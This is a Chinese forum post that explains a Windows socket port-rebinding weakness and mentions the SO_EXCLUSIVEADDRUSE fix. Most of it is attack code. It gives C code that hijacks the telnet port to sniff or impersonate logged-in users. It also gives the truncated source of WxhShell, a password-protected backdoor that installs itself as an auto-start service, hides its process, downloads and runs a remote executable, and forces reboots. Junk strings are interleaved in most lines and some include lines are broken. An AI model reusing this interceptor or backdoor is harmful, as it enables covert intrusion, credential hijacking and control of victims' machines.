社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15641阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xWa96U[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +uY)MExs2  
7?O~3  
  saddr.sin_family = AF_INET; az=(6PX  
U.[?1:v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); lv* fK  
V>2mz c  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0B;cQSH!q  
+.RC{o,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Lk-%I?  
[v!TQwMU  
  这意味着什么?意味着可以进行如下的攻击: (DW[#2\.  
=CE(M},d  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 l6C^,xU~IX  
\\WIu?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) p`i_s(u  
N{$'-[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5*d  
JvZNr?_w%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Jrkj foN  
$m:4'r  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D<m+M@u  
D=Pv:)*]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B:pIzCP  
(xJZeY)-b^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L,XWX8  
y<<:6OBj  
  #include P2+Z^J`Y>  
  #include A?q9(n|A"  
  #include nv9kl Q@  
  #include    +cw;a]o^>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   sPee" 9%,  
  int main() }5)sS}C  
  { onuhNn_=>  
  WORD wVersionRequested; e[lRY>Pe5  
  DWORD ret; 'Si 1r%'m#  
  WSADATA wsaData; '<v/Gl\  
  BOOL val; aFj)s?$4]K  
  SOCKADDR_IN saddr; BK_x5mGu3  
  SOCKADDR_IN scaddr; AV0C9a/td  
  int err; ZXf^HK  
  SOCKET s; Q6?}/p  
  SOCKET sc; 'e3[m  
  int caddsize; _TRO2p0  
  HANDLE mt; c==` r C  
  DWORD tid;   r#K;@wu2  
  wVersionRequested = MAKEWORD( 2, 2 ); |Q'l&Gt6  
  err = WSAStartup( wVersionRequested, &wsaData ); D&xb tJd  
  if ( err != 0 ) { u'?yc"d>#  
  printf("error!WSAStartup failed!\n"); U*Hw t\  
  return -1; `W8A *  
  } qGE?[\t[6  
  saddr.sin_family = AF_INET; )7e[o8O_6  
   9*@Kl`\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -'tgr6=|w"  
bIP'(B#1K  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 95,{40;X7  
  saddr.sin_port = htons(23); *Q<%(JJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |$r|DX1[  
  { B@,L83  
  printf("error!socket failed!\n"); &DMKZMj<Q*  
  return -1; DO!?]"  
  } I\6u(;@  
  val = TRUE; OOEmXb]8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 WCbv5)uTUs  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !KUV ,>L  
  { Di3<fp#w#  
  printf("error!setsockopt failed!\n"); Fn8d;%C  
  return -1; );^] is~  
  } GHMoT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dz',!|>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 v@43 %`"Gj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 tNskB`541  
B}.G(-u?7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) w%no6 ;  
  { Tm8c:S^uq)  
  ret=GetLastError(); yK +&1U2`  
  printf("error!bind failed!\n"); Kf XE=v{t  
  return -1; X5'QYZ6kv  
  } qp-/S^%  
  listen(s,2); #-9;Hn4x  
  while(1) ,3k"J4|d  
  { R~,*W1G6sF  
  caddsize = sizeof(scaddr); "RG.27  
  //接受连接请求 kq[*q-:"x  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); hCX}*  
  if(sc!=INVALID_SOCKET) CW(]6s u{  
  { [TPr  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (ia(y(=C  
  if(mt==NULL) %bnDxCj"  
  { '"H'#%RU  
  printf("Thread Creat Failed!\n"); QD0upYG  
  break; Y&O<A8=8  
  } 5@$b@jTd  
  } M]?#]3XBNo  
  CloseHandle(mt); "+js7U-  
  } Bv^{|w  
  closesocket(s); (;o,t?:d  
  WSACleanup(); K8.=bGyg  
  return 0; 4c2*)x$@  
  }   =kq!e  
  DWORD WINAPI ClientThread(LPVOID lpParam) qA<PF+f  
  { llbj-9OZL  
  SOCKET ss = (SOCKET)lpParam; 93|u. @lEy  
  SOCKET sc; ;4E0%@R  
  unsigned char buf[4096]; 54kd>)|"ag  
  SOCKADDR_IN saddr; S6 F28 d[j  
  long num; nn@"68]g  
  DWORD val; mbBd3y  
  DWORD ret; %3ecV$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8>TDrpT}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R$@|t?  
  saddr.sin_family = AF_INET; X[:&p|g]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $cri"G  
  saddr.sin_port = htons(23); @Z.s:FV[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |IqQ%;H  
  { K9FtFd  
  printf("error!socket failed!\n"); n&x#_B-  
  return -1; 5 N(/K.^  
  } 3QDz0ct  
  val = 100; hlxZq  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y< hIXC  
  { zrjqB3R4@O  
  ret = GetLastError(); [X.sCl|  
  return -1; DfFsCTu  
  } &eQF[8 ,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B Mh 949;  
  { 3u7^*$S  
  ret = GetLastError(); /JL2dBy#z  
  return -1; d18%zY>  
  } {~a=aOS  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) k,S'i#4q4  
  { %|[+\py$Q  
  printf("error!socket connect failed!\n"); 7WG"_A~V  
  closesocket(sc); RsS?ibozl  
  closesocket(ss); :qi"I;=6  
  return -1; D +/27#  
  } tY<D\T   
  while(1) rrei6$H&  
  { NAjK0]SRY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 T~UKWAKX}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 RYD V60*O6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \?-`?QPux  
  num = recv(ss,buf,4096,0); PNLtpixZ  
  if(num>0) :Vc+/ZyW  
  send(sc,buf,num,0); &[}T41  
  else if(num==0) n83,MV?-  
  break; UBp0;)-  
  num = recv(sc,buf,4096,0); Bry\"V"'g  
  if(num>0) +(VHnxNQs  
  send(ss,buf,num,0); 8V%(SV  
  else if(num==0) K oPTY^  
  break; X#<#7.  
  } \+mc   
  closesocket(ss); |s :b9sfA  
  closesocket(sc); m M!H}|  
  return 0 ; k 41lw^Jh  
  } vW`{BWd  
[1@ -F+  
_"%ef"oPh  
========================================================== yw`xK2(C$  
|HXI4 MU"  
下边附上一个代码,,WXhSHELL >h/J{T(P>h  
5An| #^]  
========================================================== , KF>PoySA  
}zi:nSpON  
#include "stdafx.h" M@S6V7  
CF3Z`xD  
#include <stdio.h> }wrZP}zM>  
#include <string.h> ,{A-<=6t  
#include <windows.h> bS _!KU  
#include <winsock2.h> j"*ZS'0  
#include <winsvc.h> mXT{)pU  
#include <urlmon.h> G<,@|6"w  
f_X]2in  
#pragma comment (lib, "Ws2_32.lib") l?v-9l M  
#pragma comment (lib, "urlmon.lib") #*;(%\q}  
Fxy-_%a  
#define MAX_USER   100 // 最大客户端连接数 g5/%}8[- 2  
#define BUF_SOCK   200 // sock buffer |*"uj  
#define KEY_BUFF   255 // 输入 buffer k6-Q3W[+a  
vRYQ4B4o  
#define REBOOT     0   // 重启 Yw<K!'C  
#define SHUTDOWN   1   // 关机 pc<")9U%/  
WK]SHiHD  
#define DEF_PORT   5000 // 监听端口 zr%lBHuW  
#q40  >)]  
#define REG_LEN     16   // 注册表键长度 iy Zs:4jkc  
#define SVC_LEN     80   // NT服务名长度 PhF3' ">  
&*RJh'o|N(  
// 从dll定义API 3}}~(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d paZ6g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2`/JT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wy"^a45h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0PD]#.+  
R| t"(6  
// wxhshell配置信息 Ce}wgKzr  
struct WSCFG { oqHI`Tu  
  int ws_port;         // 监听端口 .|$6Pi%!  
  char ws_passstr[REG_LEN]; // 口令 oX@nWQBc_  
  int ws_autoins;       // 安装标记, 1=yes 0=no utKtxLX"  
  char ws_regname[REG_LEN]; // 注册表键名 #>dfP"}&,  
  char ws_svcname[REG_LEN]; // 服务名 gbM#jhQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }OgzSnR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IF%^H K@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7(lR$,bE;=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *; . l/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LF?83P,UJ#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zso&.IATng  
s2L|J[Y"s  
}; 'h_PJ%  
g2.%x \d  
// default Wxhshell configuration 7!.%HhU0  
struct WSCFG wscfg={DEF_PORT, 7$'%*|C.  
    "xuhuanlingzhe", $w`QQ^\  
    1, h7<Zkf  
    "Wxhshell", gP1~N^hke]  
    "Wxhshell", pzmm cjEC  
            "WxhShell Service", 7$x~}*u  
    "Wrsky Windows CmdShell Service", ao>bnRXR  
    "Please Input Your Password: ", B5pM cw  
  1, LGZ5py=xb  
  "http://www.wrsky.com/wxhshell.exe", 6b4Kcl<i  
  "Wxhshell.exe" <_-&{Pv  
    }; \9dSI  
+J3 0OT8  
// 消息定义模块 ZvEcExA-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O= PFr"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #+p30?r0y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Lzu;"#pw  
char *msg_ws_ext="\n\rExit."; |BhfW O8p  
char *msg_ws_end="\n\rQuit."; "&%: 9O  
char *msg_ws_boot="\n\rReboot..."; 5*~Mv<#  
char *msg_ws_poff="\n\rShutdown..."; $8h^R#  
char *msg_ws_down="\n\rSave to "; 6*%3O=*  
4thLK8/c5g  
char *msg_ws_err="\n\rErr!"; WJCEiH  
char *msg_ws_ok="\n\rOK!"; $Z(fPKRN/  
Fv=7~6~  
char ExeFile[MAX_PATH]; bs$x%CR  
int nUser = 0; jC> l<d_  
HANDLE handles[MAX_USER]; o B;EP  
int OsIsNt; L {(\k$>'  
^l;nBD#nJ  
SERVICE_STATUS       serviceStatus; S]iMZ \I/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \^2%v~  
YJ_`[LnL  
// 函数声明 j|!.K|9B  
int Install(void); JCZ"#8M3  
int Uninstall(void); 6z@OGExmd#  
int DownloadFile(char *sURL, SOCKET wsh); {ve86 POY  
int Boot(int flag); L8n1p5 gx3  
void HideProc(void); FDM&rQ  
int GetOsVer(void); 7q?u`3l  
int Wxhshell(SOCKET wsl); 4mSL*1j  
void TalkWithClient(void *cs); vUl5%r2O4  
int CmdShell(SOCKET sock); J8I_tF6  
int StartFromService(void); C-4NiXa  
int StartWxhshell(LPSTR lpCmdLine); pisjfNT`o  
JViglO1\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0 ;kcSz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z)Y--`*  
*F/uAI^)  
// 数据结构和表定义 c(Zar&z,E  
SERVICE_TABLE_ENTRY DispatchTable[] = ]bCeJE.+)  
{ cn#JO^8  
{wscfg.ws_svcname, NTServiceMain}, jV)!9+H#  
{NULL, NULL} B~oSKM%8R  
}; HVaWv].  
N+)4]ir>  
// 自我安装 ^~}|X%q3  
int Install(void) ^/\OS@CT\  
{ px5~D(N  
  char svExeFile[MAX_PATH]; l4u@0;6P  
  HKEY key; V!G&Aen  
  strcpy(svExeFile,ExeFile); z5IHcZ  
}LQ*vD-Jj  
// 如果是win9x系统,修改注册表设为自启动 q#wg2  
if(!OsIsNt) { ?T-6|vZA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OJ$169@;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T5_z^ 7d  
  RegCloseKey(key); 6He7A@Eh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qp (ng 8%c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0/P!rH9  
  RegCloseKey(key); iOz<n z  
  return 0; yo*c& >  
    } MN\/F4Io  
  } g/,fjM_  
} 33x3zEUt6  
else { H pXMPHd  
A3ad9?LR[R  
// 如果是NT以上系统,安装为系统服务 FSv')`}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a6=mE?JTB  
if (schSCManager!=0) Vr/UbgucJ  
{ JPL8fX-w  
  SC_HANDLE schService = CreateService lQQXV5NV  
  ( x bF*4;^SI  
  schSCManager, ;;'b;,/  
  wscfg.ws_svcname, f%9EZ+OP  
  wscfg.ws_svcdisp, 8>a/x,  
  SERVICE_ALL_ACCESS, {Pm^G^EP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?l#9ydi?  
  SERVICE_AUTO_START, rm2"pfs  
  SERVICE_ERROR_NORMAL, %98F>wl  
  svExeFile, '8>h4s4  
  NULL, 6dTq&GZ\  
  NULL, dq~p]h~,H  
  NULL, AH`D&V  
  NULL, D3Lu]=G  
  NULL d{+ H|$L`  
  ); .CFaBwj  
  if (schService!=0) p#~' xq  
  { m&o}qzC'y  
  CloseServiceHandle(schService); X&DuX %x0  
  CloseServiceHandle(schSCManager); |8}f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,}F2l|x_  
  strcat(svExeFile,wscfg.ws_svcname); *FDz20S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QxvxeK!Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ut%t`Y( ]  
  RegCloseKey(key); t]{qizfOB  
  return 0;  =Run  
    } ;SkC[;`J  
  } ~(Gv/x  
  CloseServiceHandle(schSCManager); _`Ey),c_  
} K6=-Zf  
} |Axg}Q|  
J'^s5hxn+0  
return 1; 5} |O  
} , M$*c  
SPW @TF1  
// 自我卸载 >|SB]'C|  
int Uninstall(void) 2#&9qGR  
{ hABC rd Em  
  HKEY key; P$_Y:XI !  
!3Fj`Oh  
if(!OsIsNt) { W+PAlsOC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { */xI#G,O+  
  RegDeleteValue(key,wscfg.ws_regname); e3YZ-w^W~h  
  RegCloseKey(key); wqBGJ   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T:x5 ,vpM  
  RegDeleteValue(key,wscfg.ws_regname); >1:s.[&  
  RegCloseKey(key); @8C^[fDL  
  return 0; At%g^  
  } U,)Ngnd  
} _v4TyJ  
} _=B(jJZ   
else { ?@Z~i]gE[V  
mH*42XC*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b,5H|$nLu  
if (schSCManager!=0) #{7=  
{ vIG8m@-!&;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Pgf$GXE  
  if (schService!=0) f2[z)j7  
  { OTd=(dwh  
  if(DeleteService(schService)!=0) { |s|>46E  
  CloseServiceHandle(schService); !Jb?r SJ.h  
  CloseServiceHandle(schSCManager); w(`X P  
  return 0; td4*+)'FY  
  } !JUXq  
  CloseServiceHandle(schService); qRsPi0;  
  } Q6Q>b4 .3  
  CloseServiceHandle(schSCManager); R6dw#;6{I  
} =%Gecj  
} xr!FDfM.K  
is{I5IR\/  
return 1; $=iz&{9  
} VY<v?Of i-  
^te9f%>$l  
// 从指定url下载文件 m}6GVQ'Q  
int DownloadFile(char *sURL, SOCKET wsh) r S/Q  
{ z_!P0`  
  HRESULT hr; 8<3J!X+  
char seps[]= "/"; k='sI^lF  
char *token; -Qo`UL.}  
char *file; @Qd6a:-6  
char myURL[MAX_PATH]; hF+YZU]rT  
char myFILE[MAX_PATH]; \l_RyMi  
.rSeJZzuj  
strcpy(myURL,sURL); ~CldqXeI  
  token=strtok(myURL,seps); eB/3MUz1  
  while(token!=NULL) VJD$nh #M5  
  { k]Y+C@g  
    file=token; >!A&@1[M  
  token=strtok(NULL,seps); !l~tBJr*sB  
  } KQ?E]}rZ  
)=9\6zXS  
GetCurrentDirectory(MAX_PATH,myFILE); IkH]W!_+  
strcat(myFILE, "\\"); &GwBxJ  
strcat(myFILE, file); R`G%eG)+  
  send(wsh,myFILE,strlen(myFILE),0); 65N;PH59D  
send(wsh,"...",3,0); bjPI:j*XU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); - ,q&Zm  
  if(hr==S_OK) e+bpbyV_#  
return 0; dTyTj|"x{  
else ;z#D%#Ztq  
return 1; Ia)wlA02S  
j9%u&  
} G9z Q{E  
\%&QIe;:k  
// 系统电源模块 =r+u!~%@''  
int Boot(int flag) g63:WX-\  
{ W2tIt&{  
  HANDLE hToken; `>rdn*B  
  TOKEN_PRIVILEGES tkp; RoM'+1nP:#  
Y {Klwn   
  if(OsIsNt) { + }(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N_$ X4.7p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CY)Wuv ^  
    tkp.PrivilegeCount = 1; ~t<BZu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !fwLC"QC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Xo(K*eIN  
if(flag==REBOOT) { 6 )0$UW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WXNJc  
  return 0; nfy"M),et  
} 6;dB   
else { gTW(2?xYf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x_v pds  
  return 0; [HtU-8:  
} q ]rsp0P2  
  } +F&w~UT  
  else { |GL#E"[&'  
if(flag==REBOOT) { {\`#,[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X )fj&  
  return 0; hc>hNC:a  
} >T.U\,om7  
else { e.\d7_T+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PPDm*,T.  
  return 0; W3{k{~  
} yXc/Nl%  
} M^mS#<!y  
oQ8W0`bZa  
return 1; @luv;X^%  
} 3 _:yHwkD  
~8`r.1aUO  
// win9x进程隐藏模块 e_g7E+6  
void HideProc(void) *M/3 1qI  
{ FlD !?  
Wh(V?!^@5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kxWf1hIz0  
  if ( hKernel != NULL ) /V46:`V  
  { cc.z C3Hs3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8NPt[*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z?G-~3]e  
    FreeLibrary(hKernel); ocAoqjlT[  
  } d '4c?vC  
a[xEN7L~4D  
return; YX18!OhQ  
} v)d\ 5#7  
,S:g 5n>M  
// 获取操作系统版本 Jmf&&)p  
int GetOsVer(void) TaG'?  
{ [#)-F_S  
  OSVERSIONINFO winfo; |6"zIHvtc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D"bLJ j/!  
  GetVersionEx(&winfo); DWHl,w;[z`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A 99 .b  
  return 1; ;,JCA# N  
  else _&.CI6  
  return 0; 8> T '  
} t 4{{5U'\  
i~ n>dc YW  
// 客户端句柄模块 u <%,Ql  
int Wxhshell(SOCKET wsl) d.% Vm&3  
{ fJd!;ur)0  
  SOCKET wsh; rQ;m|@  
  struct sockaddr_in client; cDxjD5E  
  DWORD myID;  PZf^r  
9@Cqg5Kx'  
  while(nUser<MAX_USER) -1:yqF.x  
{ $vTU|o>|  
  int nSize=sizeof(client); v\c.xtjI5x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D/9&pRsO  
  if(wsh==INVALID_SOCKET) return 1; %S]5wR6;_  
f<!eJO:<'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zRD{"uqi  
if(handles[nUser]==0)  z4&|~-m,  
  closesocket(wsh); (JL{X`gs#  
else y2TJDb1  
  nUser++; PC7U&*x@  
  } * "~^k^_b}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 31  QT  
Cc]t*;nU_  
  return 0; 55zimv&DV  
} 4Xe3PdE  
'X<R)E  
// 关闭 socket 0KHA5dt  
void CloseIt(SOCKET wsh) [9Q2/V;Uk%  
{ &f|LjpMCf  
closesocket(wsh); kZ[E493bV  
nUser--; v5;c} n  
ExitThread(0); )<UNiC   
} c9=;:E  
7-'!XD!  
// 客户端请求句柄 b9%hzD,MR  
void TalkWithClient(void *cs) A>bo Xcr  
{ UCa(3p^V_  
3!Gnc0%c  
  SOCKET wsh=(SOCKET)cs; bEMD2ABm  
  char pwd[SVC_LEN]; mPi4.p)  
  char cmd[KEY_BUFF]; ES(b#BlrP/  
char chr[1]; bs kG!w  
int i,j; -nV]%vJ$R}  
wZ0$ylEX  
  while (nUser < MAX_USER) { #:v|/2   
w=rh@S]  
if(wscfg.ws_passstr) { =CFO]9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >IJH#>i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :,fs' !  
  //ZeroMemory(pwd,KEY_BUFF); }<[@)g.h.  
      i=0; @tM1e<  
  while(i<SVC_LEN) { bvUjH5.7  
GghZ".O  
  // 设置超时 v<ASkkh>  
  fd_set FdRead; DKPX_::  
  struct timeval TimeOut; q#xoM1  
  FD_ZERO(&FdRead); GASDkVoij  
  FD_SET(wsh,&FdRead); \@N8[  
  TimeOut.tv_sec=8; VEkv JX.  
  TimeOut.tv_usec=0; quTM|>=_R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); & VJ+X|Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [W ,Ej  
i ?%;s5<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d!D#:l3;  
  pwd=chr[0]; >KNiMW^V  
  if(chr[0]==0xd || chr[0]==0xa) { ]t=m  
  pwd=0; K pDKIi  
  break; MD1n+FgTu  
  } L09YA  
  i++; ||;V5iR:  
    } 0>6J -   
@a'Rn  
  // 如果是非法用户,关闭 socket 7.,C'^ci  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wI'T J e,  
} Kyq/'9`  
.D(H@3qA@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DJdW$S7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tv_KdOv8  
yTm/P!1S  
while(1) { 2`9e20  
7v]>ID  
  ZeroMemory(cmd,KEY_BUFF); 5V':3o;D__  
<~X4&E]rT_  
      // 自动支持客户端 telnet标准   ,6=j'j1#a  
  j=0; M2W4 RovfR  
  while(j<KEY_BUFF) { 9{RCh 9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _ho9}7 >  
  cmd[j]=chr[0]; :XC~G&HuF6  
  if(chr[0]==0xa || chr[0]==0xd) { Cvry8B  
  cmd[j]=0; UMILAoR  
  break; bBk_2lg=4)  
  } y'(( tBWa!  
  j++; s/"&k  
    } n0bm 'qw  
Hz ) Xn\x  
  // 下载文件 J: vq)G\F  
  if(strstr(cmd,"http://")) { f~%|Iu1ob  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w[YiH $  
  if(DownloadFile(cmd,wsh)) iH<:wLY&J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J&CA#Bg:w  
  else }`ox;Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z@2^> eC  
  } ` $*I%oT;  
  else { B5{ wSr  
>r1cW7  
    switch(cmd[0]) { /'' |bIPa  
  "4NcszEN  
  // 帮助 @{P<!x <Q  
  case '?': { <'N"GLJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }$i Kz*nx|  
    break; Rsd~t_a1  
  } |(u6xPs;P  
  // 安装 <|8N\FU{  
  case 'i': { 1Bp?HyCR  
    if(Install()) td JA?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *eL&fC  
    else @rI+.X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "A\h+q-  
    break; @( p9}  
    } 5,  "  
  // 卸载 )-VpDW!%_  
  case 'r': { kn<IWW_t  
    if(Uninstall()) 1[p6v4qO{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *lyy|3z  
    else sB`.G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e}>3<Dh  
    break; ]Y111<Ja  
    } W5cBT?V  
  // 显示 wxhshell 所在路径 RT`.S uN  
  case 'p': { D=1:-aLP7  
    char svExeFile[MAX_PATH]; f$1&)1W[  
    strcpy(svExeFile,"\n\r"); `& ufdn\j  
      strcat(svExeFile,ExeFile); CGw,RNV  
        send(wsh,svExeFile,strlen(svExeFile),0); /M!b3bmA  
    break; m&vuBb3  
    } RwKnNIp  
  // 重启 >vQ8~*xd  
  case 'b': { [GQn1ZLc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FxU a5 n  
    if(Boot(REBOOT)) n&l(aRoyx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]!q>@b  
